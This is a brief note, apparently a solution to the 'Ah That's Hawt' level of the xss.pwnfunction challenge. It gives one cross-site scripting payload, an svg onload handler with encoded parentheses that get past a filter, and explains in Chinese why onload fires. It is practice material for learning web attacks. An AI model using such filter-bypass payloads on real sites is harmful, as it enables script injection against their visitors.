xss.pwnfunction-Ah That‘s Hawt

<svg/onload=alert%26%2340%3B1%26%2341%3B>

<svg/>是一个自闭合形式 ，当页面或元素加载完成时，onload 事件会被触发，从而可以执行相应的 JavaScript 函数